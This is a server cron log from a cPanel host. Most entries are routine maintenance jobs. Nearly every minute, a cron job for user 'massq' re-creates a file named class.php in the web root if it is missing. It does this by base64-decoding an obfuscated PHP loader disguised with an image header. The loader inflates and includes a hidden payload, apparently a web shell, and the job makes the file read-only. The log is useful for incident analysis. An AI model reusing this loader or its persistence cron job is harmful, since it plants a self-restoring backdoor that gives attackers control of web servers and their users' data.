Nov 10 06:08:01 server CROND[27538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:09:01 server CROND[28054]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 06:09:01 server CROND[28055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:10:01 server CROND[28487]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:10:01 server CROND[28488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:10:01 server CROND[28490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:10:01 server CROND[28489]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 06:11:01 server CROND[29181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:12:01 server CROND[29530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:12:01 server CROND[29531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 06:13:01 server CROND[30448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:14:01 server CROND[31140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:15:01 server CROND[32063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:15:01 server CROND[32065]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:15:01 server CROND[32067]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:15:01 server CROND[32064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:15:01 server CROND[32066]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:16:01 server CROND[461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:17:01 server CROND[1042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:18:01 server CROND[1859]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:19:01 server CROND[2694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:20:01 server CROND[3615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:20:01 server CROND[3617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:20:01 server CROND[3620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 06:20:01 server CROND[3619]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:20:01 server CROND[3621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
